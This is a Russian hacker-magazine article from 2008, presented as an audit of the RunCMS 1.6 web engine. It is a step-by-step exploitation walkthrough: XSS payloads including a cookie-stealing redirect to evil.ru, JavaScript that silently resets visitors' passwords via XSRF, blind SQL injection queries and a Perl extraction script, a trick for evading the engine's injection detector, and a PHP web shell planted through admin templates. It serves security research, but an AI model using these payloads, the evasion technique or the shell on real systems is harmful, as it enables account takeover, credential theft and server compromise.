Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

RunCMS. Учебник для ресерчера: независимый аудит крупного движка

sh2kerr




Сегодня я расскажу тебе о проверке на уязвимости одного довольно популярного web-движка для построения сайтов RunCMS. Мне удалось найти в нем кучу недокументированных багов. А все начиналось с банального аудита, который, на первый взгляд, отнюдь не сулил крупного урожая.

В статье я постараюсь не просто поведать про найденные баги, но и показать, как их можно реально эксплуатировать. Я покажу, как повысить свои права от постороннего пользователя до заливки шелла в админку и получения доступа к командной строке сервера. Найдя одну уязвимость, мы не остановимся, а тут же пытаемся найти другие способы получения доступа.

Такой подход обусловлен тем, что в реальных тестах на проникновение и анализ уязвимостей требуется не только «сломать» систему, но и обнаружить, в идеале, если не все, то большинство возможных уязвимостей, не ограничиваясь просто получением доступа к ней. Так можно произвести наиболее полную оценку защищенности системы.

Поверхностный взгляд. Первые уязвимости

Бегло осмотрев движок и попробовав основные проверки, я нашел первую багу - Linked XSS в URL-строке. Запрос выглядел так:

http://localhost/modules/news/index.php/"><script>alert('XSS')</script>

Что нам это может дать, надеюсь, понятно и вдаваться в подробности не будем. Естественно, что одной XSS yнам не достаточно, поэтому ищем дальше – переходим в раздел редактирования пользователя и пытаемся загрузить аватару, но не простую, а сюрпризом.

В аватаре будет записан javascript-код, который выполнится в браузере, если обратиться напрямую к залитой на сервер картинке. Так мы и поступим.
Подробнее о внедрении javascript-кода в изображения и обходе фильтров читай в моей статье (http://www.dsec.ru/about/articles/web_xss).

В результате, мы получим все ту же, опять-таки, XSS, для использования которой нам необходимо, чтобы пользователь перешел по ссылке. Правда, ссылка на этот раз будет не такая подозрительная, как в случае предыдущей XSS. Выглядеть она будет, как настоящая ссылка на картинку. Теперь мы можем отправить жертве ссылку, с заманчивым описанием – и при нажатии на которую его cookies будут у нас. Это все, конечно, интересно, но хочется чего-нибудь стоящего и независимого от пользователя, поэтому копаем дальше.

Первые трудности

Опытным путем было обнаружено, что в разделе добавления новостей по адресу modules/news/submit.php не фильтруется название новости - переменная «subject»
Таким образом, если занести вместо названия новости всеми любимую строку <script>alert("XSS")</script>, то она внедрится в страницу. Причем, не в какую-нибудь, а заглавную, так как на ней высвечиваются заголовки последних новостей. Это даст нам шанс перехватывать cookies или выполнить любой javascript-код от имени пользователя, зашедшего на главную страницу.

Но тут нас ждет небольшой сюрприз. Дело в том, что переменная, в которой хранится название новости, ограничена 62 символами, что очень сильно затрудняет внедрение практически любого полезного нам javascript-кода. К примеру, чтобы вставить ссылку на cookie-снифер, нам необходимо внедрить примерно следующий код:

<script>document.location="http://evil.ru/1.php?"+document.cookie</script>

Размер этого кода – 74 символа, что уже превышает рамки. Конечно, если постараться, то можно его немного сократить, но очень маловероятно, что его получится уместить в рамки 62 символов (а если и выйдет, то эксплуатация будет слишком заметна, так как при заходе на сайт пользователем процедура document.location перебрасывает его на наш сервер – весьма подозрительно, согласись). Итак, у нас появились две дополнительные задачи: как нам поместить javascript-код в ограниченное поле и как нам незаметно украсть cookie или выполнить любой запрос от имени пользователя.

Немного отвлечемся от этой уязвимости и посмотрим на страницу смены пароля, в профиле пользователя. Можно заметить, что скрипт не требует знания старого пароля, а значит, злоумышленник, получивший доступ к профилю пользователя, может сменить ему пароль, и ничего ему не помешает. На самом деле, это может сделать не только злоумышленник, но и сам пользователь, не осознавая этого – если ему подсунуть страницу, которая будет слать POST-запрос, меняющий пароль на сервер. Эта уязвимость называется Cross Site Request Forgery или XSRF.

Теперь вернемся к нашей прошлой уязвимости и объединим их. Попробуем встроить на сайт javascript-код помощи XSS, который, используя XSRF, будет менять пароль каждому зашедшему пользователю. Идея, конечно, великолепная, но как же мы будем обходить ограничение поля subject в 62 символа? Нам повезло, – движок имеет возможность заливки файлов на сервер. Как я писал выше, можно загружать картинки с javascript-кодом. На самом деле, мы можем заливать не только картинки, но и любые файлы с разрешенным движком расширением, и их содержимое не будет проверяться. Воспользуемся же этим, и загрузим на сервер файл с javascript-кодом, который, используя AJAX-технологию, посылает на сервер запрос, меняющий пароль текущему пользователю и делающий это незаметно для юзера. В нашем файле будет находиться следующий код:

var objHTTP = new ActiveXObject('MSXML2.XMLHTTP');
var id = document.cookie.substr(document.cookie.search("rc_sess") + 31);
objHTTP.open('POST',"http://192.168.40.26/runcms_1.6/edituser.php",false);
objHTTP.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
objHTTP.send("email=owned%40hackbox.com&upass=12345&vpass=12345&usecookie=0&uid=" + id + "&op=saveuser");

В двух словах: мы создаем ActiveX-компонент MSXML2.XMLHTTP, с помощью которого можно посылать произвольные запросы на сервер. В нашем случае отправляется запрос на страницу редактирования пользователя (192.168.40.26/runcms_1.6/edituser.php), который меняет пароль пользователя и его почтовый ящик на «12345» и owned@hackbox.com, соответственно. В случае если бы мы посылали запросы на сторонний сервер (к примеру, чтобы отсылать себе cookie пользователя), браузер выкидывал бы предупреждение, что небезопасный компонент пытается инициализировать соединение на сторонний сервер. Но мы отправляем запрос на тот же сервер, так что со стороны браузера все легально, и предупреждений не будет. Теперь сохраним этот скрипт в файл, назовем его zlo.zip, а затем, загрузим файл на сервер.

Первая часть работы сделана, осталось выяснить, куда сохраняется наш файл и как выполнить код находящийся в нем. По умолчанию все загруженные файлы помещаются в папку /modules/mydownloads/cache/files/. Теперь нужно каким-нибудь образом подгрузить файл, используя нашу XSS уязвимость в заголовке новостей. Для этого необходимо создать новость, у которой в поле subject будет следующий код, занимающий всего 58 символов:

<script src="../mydownloads/cache/files/zlo.zip"></script>

Этой строкой мы подгружаем на страницу залитый нами файл и интерпретируем его как javascript-код. Таким образом, мы обошли ограничение на длину строки. Этим способом можно пользоваться везде, где есть возможность закачать на сервер свой файл, в котором не проверяется содержимое на наличие html-тэгов. К примеру, для этого можно использовать изображения, но там свои нюансы, которые ты можешь изучить самостоятельно.

В итоге, после создания нашей новости с внедренным в заголовок кодом, у каждого посетителя, зашедшего на главную страницу, будет автоматически меняться пароль. При желании это можно заменить на любую другую функцию. Таким образом, наткнувшись на препятствие, не стоит отчаиваться - всегда надо искать альтернативные пути, тем более что зачастую получается еще лучше, чем рассчитывал.

Инъектим вслепую

Найденными уязвимостями мы не ограничимся и посмотрим, что же еще приготовил нам этот движок. Если обратиться к странице загрузки файлов, то можно заметить интересную картину. При обращении по ссылке:

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1

нам предлагается скачать файл (что и следовало ожидать). Однако если мы запросим страницу

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1

то в результате получим, как и в предыдущем варианте, предложение скачать файл. Что самое любопытное, следующий запрос выдал нам ошибку.

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=2

Все это говорит о том, мы обнаружили SQL-инъекцию, а точнее, Blind SQL инъекцию, ибо проблема заключается в том, что мы не видим результата выполнения запросов, или каких-либо вспомогательных данных. Мы можем только определять, возвратит ли наш запрос истину или ложь. К слову сказать, это не единственный скрипт, подверженный данной атаке. На досуге попробуй сам найти аналогичные скрипты в этом движке, уязвимые к Blind SQL инъекции.
Таким образом, используя уязвимость, мы можем получить любые данные, хранящиеся в базе данных, правда для этого придется постараться.
К примеру, чтобы узнать версию СУБД, надо посимвольно перебирать все возможные варианты посылкой подобных запросов:

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=33
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=34
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=35

В зависимости от того, какой запрос вернул истину, мы узнаем первую цифру версии СУБД. Аналогичным способом можно узнать любые другие данные, в том числе и хэш пароля администратора.

Обычно на этом люди останавливаются, и, получив хэш, пытаются его расшифровать. Мы же пойдем другим путем. Если у нас есть доступ к базе данных, то почему бы не попытаться достать оттуда данные сессий пользователей, которые хранятся в базе, а после чего – не прописать их у себя в cookies?

Балуемся с сессией

Cookies пользователя после URL-декодирования представляют собой строку вида:

a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227993983;}

Из этой информации нам необходимы три значения: первое – длинная строка в двойных кавычках, которая вероятнее всего представляет собой некую хэш-функцию от пароля; второе – это id пользователя, который хранится после второго по счету символа i в нашей строке (тут id=1), а также последнее значение – число 1227993983.
Если мы проделаем некоторые действия в системе, а потом опять обратимся к cookie, то мы увидим, что последнее число изменилось, а id пользователя и хэш остались неизменными.

a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227994551;}
a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227995080;}

Более того, очевидно, что последнее число линейно зависит от времени, а хэш является константой, сгенерированной для пользователя единожды и хранящейся в базе. Это означает, что нам достаточно один раз перехватить cookies и потом мы сможем заходить неограниченное число раз, пока пользователь не сменит пароль при условии, что мы будем знать, как генерируется третье значение, зависящее от времени. Нам необходимо получить эти три значения (id пользователя, хэш и функцию от времени) из базы, чтобы мы могли залогиниться пользователем, даже не зная его пароля. Значения хранятся в таблице runcms.runcms_session. Хэш хранится в переменной hash, а id пользователя, соответственно, в переменной user_id. А вот что касается последней цифры, то она высчитывается как значение поля time + 2678400 (в поле time хранится время последнего обращения пользователя на сайт).

Теперь, когда мы знаем, где находятся нужные нам переменные, достать их уже дело техники. Можно использовать озвученную выше уязвимость типа BLIND SQL Injection. Для автоматизации действий был написан скрипт (за основу взят скрипт r57sql_ocb.pl, спасибо его авторам), который посимвольно перебирает все возможные значения необходимых нам данных, таких как hash, user_id и time. Ниже приведена основная часть скрипта, где происходит посылка запроса и обработка ответа (полную версию ищи на диске).

$http_query = $path." AND ascii(upper(substring((SELECT CONCAT(uname,CHAR(58),hash,CHAR(58),time) FROM runcms.runcms_session WHERE uid=".$user_id."),".$s_num.",1)))".$ccheck;
# отправляем запрос

## print "\r\n $http_query \r\n";
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку, совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}

В результате запуска нашего скрипта где-то за 2-5 минут мы получаем хэш и время, которое необходимо подставить себе в cookie.Единственный нюанс: если пользователь за это время будет вести активную деятельность, то у него изменится значение time. В этом случае можно просто перебрать ближайшие значения в пределах 3 минут (что не составляет труда) или заново запустить скрипт.

Обходим системы обнаружения атак

Итак, у нас получился отличный эксплоит, и мы уже почти у цели, но тут есть один неприятный момент. Система RunCMS имеет встроенный модуль обнаружения атак, который записывает в специальный лог-файл попытки SQL-инъекций. По-хорошему, нам требуется обойти данную систему, чтобы максимально скрытно провести атаку. Логи можно посмотреть в файле

\htdocs\runcms_1.6\cache\sqlinject.txt

Посмотрим, что же происходит, и почему наши запросы попадают в логи. Скрипт добавляет следующий код к запросу в СУБД и посылает его на сервер:

AND ascii(upper(substring((SELECT CONCAT(uname,CHAR(58),hash,CHAR(58),time) FROM runcms.runcms_session WHERE uid=".$user_id."),".$s_num.",1)))

Опытным путем выяснилось: основная сигнатура, по которой определяется, что происходит инъекция, – это ключевое слово «FROM» после ключевого слова «SELECT» вне зависимости от того, какие ключевые слова есть между ними. Также было выяснено, что движок распознает «опасные» ключевые слова, если они в тексте отделены пробелами. Напрашивается идея составить SQL-запрос так, чтобы в нем не было пробелов. Такая возможность есть. Не буду мучить тебя выкладками, просто скажу, что вместо пробелов, чтобы отделять переменные от команд, можно использовать скобки. Так что, итоговый запрос будет выглядеть так:

AND ascii(substring((SELECT(pass)FROM(runcms.runcms_users)WHERE uid=".$user_id."),".$s_num.",1))".$ccheck;

В этом запросе я просто вынимаю хэш пароля администратора. Мы можем теперь слегка модифицировать наш скрипт, и он будет работать незаметно для встроенной системы обнаружения атак в движке RunCMS. Вот пример его работы:

e:\oracle\product\10.1.0\db_1\perl\5.6.1\bin\MSWin32-x86>perl.exe fuck.pl http:/
/192.168.40.26/runcms_1.6/modules/mydownloads/visit.php?lid=1 1

****** RunCMS 1.6 Blind SQLInjection + IDS Evasion by Sh2kerr (DSecRG) ******
*****************************************************************************
:) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :)
:) :) :) :) :) :) :) :) :) :) :) :) :)

*****************************************************************************
Admin Password Hash: d4e8e6deaa7b1f8381e09e3e6b83e36f0b681c5c
****************************************************************************

Последнее кольцо обороны

Вот теперь мы научились получать права администратора в системе RunCMS, причем как минимум двумя совершенно разными способами. Что же делать дальше?
Ответ очевиден - пытаться получить шелл на сервере, пользуясь доступной нам панелью администрации. Как оказалось, это совсем несложно. Админка позволяет модифицировать некоторые шаблоны, написанные на PHP, которые инклудятся к страницам движка. К таким шаблонам, к примеру, относятся:

page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"
page: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'
page: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"

Пройдем по ссылке

http://192.168.40.26/runcms_1.6/modules/mylinks/admin/index.php?op=myLinksConfigAdmin

В открывшейся странице найдем поле disclaimer, впишем в него следующую строку:

<?echo system($_GET[command]);?>

После чего, перейдем к странице шаблона, который мы изменили, и передадим ей команду ipconfig на выполнение:

http://192.168.40.26/runcms_1.6/modules/mylinks/cache/disclaimer.php?command=ipconfig

Результат работы можно видеть на скриншоте. Вставив в любую из этих страниц-шаблонов PHP-шелл, мы получим доступ к командной строке сервера, ну а дальше все зависит от твоей фантазии.

Приглашаем в команду

Итак, сегодня мы рассмотрели один достаточно популярный движок и проверили его на наличие типовых уязвимостей. На мой взгляд, получилось довольно интересно. Найденные уязвимости удачно пересекались между собой, что привело нас к получению доступа к командной строке сервера.

Анализ данного движка и эксплоиты к нему (так же, как ко многим другим исследованным системам) можно найти на сайте исследовательской лаборатории компании Digital Security (Dsec Reaserch Group, dsecrg.ru). Мы всегда рады пригласить талантливую молодежь в нашу команду, кто заинтересовался.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001